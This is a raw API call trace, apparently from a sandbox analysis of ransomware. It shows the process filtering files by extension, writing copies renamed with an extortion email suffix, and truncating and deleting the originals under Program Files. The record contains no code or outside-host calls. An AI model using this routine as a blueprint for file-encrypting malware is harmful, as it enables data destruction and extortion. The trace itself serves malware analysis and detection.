	[0074.008] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=23871) returned 1
	[0074.008] CloseHandle (hObject=0x370) returned 1
	[0074.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20
	[0074.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.008] lstrlenW (lpString=".doc") returned 4
	[0074.008] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0074.008] lstrlenW (lpString=".docx") returned 5
	[0074.008] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0074.008] lstrlenW (lpString=".pdf") returned 4
	[0074.008] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0074.008] lstrlenW (lpString=".xls") returned 4
	[0074.008] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0074.008] lstrlenW (lpString=".xlsx") returned 5
	[0074.008] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0074.008] lstrlenW (lpString=".ppt") returned 4
	[0074.008] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0074.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.008] lstrlenW (lpString=".zip") returned 4
	[0074.008] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0074.008] lstrlenW (lpString=".rar") returned 4
	[0074.009] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0074.009] lstrlenW (lpString=".bz2") returned 4
	[0074.009] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0074.009] lstrlenW (lpString=".7z") returned 3
	[0074.009] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0074.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.009] lstrlenW (lpString=".dbf") returned 4
	[0074.009] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0074.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.009] lstrlenW (lpString=".1cd") returned 4
	[0074.009] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0074.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.009] lstrlenW (lpString=".jpg") returned 4
	[0074.009] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0074.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.009] lstrlenW (lpString=".doc") returned 4
	[0074.009] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0074.009] lstrlenW (lpString=".docx") returned 5
	[0074.009] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0074.009] lstrlenW (lpString=".pdf") returned 4
	[0074.009] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0074.009] lstrlenW (lpString=".xls") returned 4
	[0074.009] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0074.009] lstrlenW (lpString=".xlsx") returned 5
	[0074.009] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0074.009] lstrlenW (lpString=".ppt") returned 4
	[0074.009] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0074.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.009] lstrlenW (lpString=".zip") returned 4
	[0074.009] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0074.009] lstrlenW (lpString=".rar") returned 4
	[0074.009] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0074.009] lstrlenW (lpString=".bz2") returned 4
	[0074.009] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0074.009] lstrlenW (lpString=".7z") returned 3
	[0074.010] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0074.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.010] lstrlenW (lpString=".dbf") returned 4
	[0074.010] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0074.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.010] lstrlenW (lpString=".1cd") returned 4
	[0074.010] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0074.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68
	[0074.010] lstrlenW (lpString=".jpg") returned 4
	[0074.010] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0074.010] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0074.010] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0074.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0074.010] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=237) returned 1
	[0074.010] CloseHandle (hObject=0x370) returned 1
	[0074.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20
	[0074.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.403] lstrlenW (lpString=".doc") returned 4
	[0074.403] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.403] lstrlenW (lpString=".docx") returned 5
	[0074.403] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0074.403] lstrlenW (lpString=".pdf") returned 4
	[0074.403] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.403] lstrlenW (lpString=".xls") returned 4
	[0074.403] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.403] lstrlenW (lpString=".xlsx") returned 5
	[0074.403] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0074.403] lstrlenW (lpString=".ppt") returned 4
	[0074.403] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.403] lstrlenW (lpString=".zip") returned 4
	[0074.403] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.403] lstrlenW (lpString=".rar") returned 4
	[0074.403] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.403] lstrlenW (lpString=".bz2") returned 4
	[0074.403] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.403] lstrlenW (lpString=".7z") returned 3
	[0074.403] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.403] lstrlenW (lpString=".dbf") returned 4
	[0074.403] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.403] lstrlenW (lpString=".1cd") returned 4
	[0074.403] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0074.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.403] lstrlenW (lpString=".jpg") returned 4
	[0074.403] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0074.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.404] lstrlenW (lpString=".doc") returned 4
	[0074.404] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.404] lstrlenW (lpString=".docx") returned 5
	[0074.404] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0074.404] lstrlenW (lpString=".pdf") returned 4
	[0074.404] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.404] lstrlenW (lpString=".xls") returned 4
	[0074.404] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.404] lstrlenW (lpString=".xlsx") returned 5
	[0074.404] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0074.404] lstrlenW (lpString=".ppt") returned 4
	[0074.404] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.404] lstrlenW (lpString=".zip") returned 4
	[0074.404] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.404] lstrlenW (lpString=".rar") returned 4
	[0074.404] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.404] lstrlenW (lpString=".bz2") returned 4
	[0074.404] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.404] lstrlenW (lpString=".7z") returned 3
	[0074.404] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.404] lstrlenW (lpString=".dbf") returned 4
	[0074.404] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.404] lstrlenW (lpString=".1cd") returned 4
	[0074.404] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0074.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75
	[0074.404] lstrlenW (lpString=".jpg") returned 4
	[0074.404] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0074.404] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.404] lstrlenW (lpString="splash_11-lic.gif") returned 17
	[0074.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.727] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=7805) returned 1
	[0074.727] CloseHandle (hObject=0x364) returned 1
	[0074.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20
	[0074.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.727] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.727] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.728] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.728] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0074.730] GetLastError () returned 0x0
	[0074.730] ReadFile (in: hFile=0x364, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1e7d, lpOverlapped=0x0) returned 1
	[0074.740] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0074.741] ReadFile (in: hFile=0x364, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.741] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0074.741] SetEndOfFile (hFile=0x2bc) returned 1
	[0074.741] CloseHandle (hObject=0x2bc) returned 1
	[0074.742] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.742] SetEndOfFile (hFile=0x364) returned 1
	[0074.743] CloseHandle (hObject=0x364) returned 1
	[0074.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.743] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1
	[0074.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.744] lstrlenW (lpString=".doc") returned 4
	[0074.744] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.744] lstrlenW (lpString=".docx") returned 5
	[0074.744] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0074.744] lstrlenW (lpString=".pdf") returned 4
	[0074.744] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.744] lstrlenW (lpString=".xls") returned 4
	[0074.744] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.744] lstrlenW (lpString=".xlsx") returned 5
	[0074.744] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0074.744] lstrlenW (lpString=".ppt") returned 4
	[0074.744] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.744] lstrlenW (lpString=".zip") returned 4
	[0074.744] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.744] lstrlenW (lpString=".rar") returned 4
	[0074.744] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.744] lstrlenW (lpString=".bz2") returned 4
	[0074.744] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.744] lstrlenW (lpString=".7z") returned 3
	[0074.744] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.744] lstrlenW (lpString=".dbf") returned 4
	[0074.744] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.744] lstrlenW (lpString=".1cd") returned 4
	[0074.744] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.744] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.744] lstrlenW (lpString=".jpg") returned 4
	[0074.744] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.745] lstrlenW (lpString=".doc") returned 4
	[0074.745] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.745] lstrlenW (lpString=".docx") returned 5
	[0074.745] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0074.745] lstrlenW (lpString=".pdf") returned 4
	[0074.745] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.745] lstrlenW (lpString=".xls") returned 4
	[0074.745] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.745] lstrlenW (lpString=".xlsx") returned 5
	[0074.745] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0074.745] lstrlenW (lpString=".ppt") returned 4
	[0074.745] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.745] lstrlenW (lpString=".zip") returned 4
	[0074.745] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.745] lstrlenW (lpString=".rar") returned 4
	[0074.745] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.745] lstrlenW (lpString=".bz2") returned 4
	[0074.745] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.745] lstrlenW (lpString=".7z") returned 3
	[0074.745] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.745] lstrlenW (lpString=".dbf") returned 4
	[0074.745] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.745] lstrlenW (lpString=".1cd") returned 4
	[0074.745] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0074.745] lstrlenW (lpString=".jpg") returned 4
	[0074.745] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.746] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.746] lstrlenW (lpString="invalid32x32.gif") returned 16
	[0074.746] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.746] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=153) returned 1
	[0074.746] CloseHandle (hObject=0x364) returned 1
	[0074.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20
	[0074.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.747] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.747] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.747] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.747] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0074.747] GetLastError () returned 0x0
	[0074.747] ReadFile (in: hFile=0x364, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x99, lpOverlapped=0x0) returned 1
	[0074.748] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0074.749] ReadFile (in: hFile=0x364, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.749] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0074.750] SetEndOfFile (hFile=0x2bc) returned 1
	[0074.750] CloseHandle (hObject=0x2bc) returned 1
	[0074.751] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.751] SetEndOfFile (hFile=0x364) returned 1
	[0074.751] CloseHandle (hObject=0x364) returned 1
	[0074.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.752] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1
	[0074.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.752] lstrlenW (lpString=".doc") returned 4
	[0074.752] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.752] lstrlenW (lpString=".docx") returned 5
	[0074.752] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0074.752] lstrlenW (lpString=".pdf") returned 4
	[0074.752] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.752] lstrlenW (lpString=".xls") returned 4
	[0074.752] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.752] lstrlenW (lpString=".xlsx") returned 5
	[0074.752] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0074.753] lstrlenW (lpString=".ppt") returned 4
	[0074.753] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.753] lstrlenW (lpString=".zip") returned 4
	[0074.753] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.753] lstrlenW (lpString=".rar") returned 4
	[0074.753] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.753] lstrlenW (lpString=".bz2") returned 4
	[0074.753] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.753] lstrlenW (lpString=".7z") returned 3
	[0074.753] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.753] lstrlenW (lpString=".dbf") returned 4
	[0074.753] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.753] lstrlenW (lpString=".1cd") returned 4
	[0074.753] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
